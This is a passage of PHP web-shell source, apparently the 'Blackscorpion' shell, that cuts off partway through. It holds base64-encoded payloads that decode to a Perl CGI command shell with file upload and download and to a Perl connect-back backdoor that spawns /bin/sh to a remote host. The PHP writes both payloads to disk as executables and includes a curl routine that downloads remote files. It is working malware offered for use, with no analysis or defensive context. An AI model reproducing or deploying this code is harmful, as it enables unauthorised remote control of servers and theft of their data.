- TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
- bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
- PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
- bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
- YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
- dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
- aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
- bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
- ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
- dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
- cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
- cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
- CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
- ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
- KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
- CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
- ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
- IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
- ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
- IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
- bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
- bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
- ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
- XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
- aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
- bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
- JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
- Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
- ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
- JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
- DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
- CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
- RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
- IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
- aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
- ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
- VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
- dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
- IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
- ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
- XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
- bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
- bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
- aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
- Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
- c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
- ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
- bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
- ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
- Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
- eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
- dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
- KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
- JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
- PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
- dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
- ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
- b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
- DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
- CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
- DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
- ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
- bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
- IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
- ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
- KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
- DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
- RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
- ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
- VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
- ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
- IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
- RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
- YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
- ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
- DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
- ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
- IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
- Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
- aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
- IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
- dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
- aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
- XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
- YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
- CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
- Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
- UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
- aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
- bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
- CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
- d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
- aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
- LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
- cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
- DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
- cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
- DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
- c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
- bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
- YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
- bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
- Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
- aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
- aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
- dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
- bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
- YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
- cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
- CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
- aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
- cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
- bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
- IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
- IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
- ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
- ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
- Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
- ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
- ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
- ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
- IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
- aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
- ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
- JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
- ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
- PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
- Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
- CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
- dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
- Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
- IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
- CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
- SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
- c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
- ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
- Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
- ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
- bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
- cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
- ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
- b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
- b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
- dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
- ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
- bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
- bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
- b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
- $file = fopen("izo.cin", "w+");
- $write = fwrite($file, base64_decode($cgishellizocin));
- fclose($file);
- chmod("izo.cin", 0755);
- $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
- MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
- ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
- MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
- ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
- MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
- Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
- KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
- SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
- ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
- UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
- VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
- ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
- JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
- bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
- ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
- YXRhY2hlZFxuXG4iOw==';
- $file = fopen("dc.pl", "w+");
- $write = fwrite($file, base64_decode($netcatshell));
- fclose($file);
- chmod("dc.pl", 0755);
- echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
- echo '</div><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>';
- BlackscorpionFooter();
- }
- function actionobfuscatorbyblackscorpion(){
- BlackscorpionHeader();
- BlackscorpionHeader();
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function ob($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('ob.php')) {
- echo " <iframe src=\"ob.php\" height=\"600\" width=\"100%\"></iframe>";
- } else {
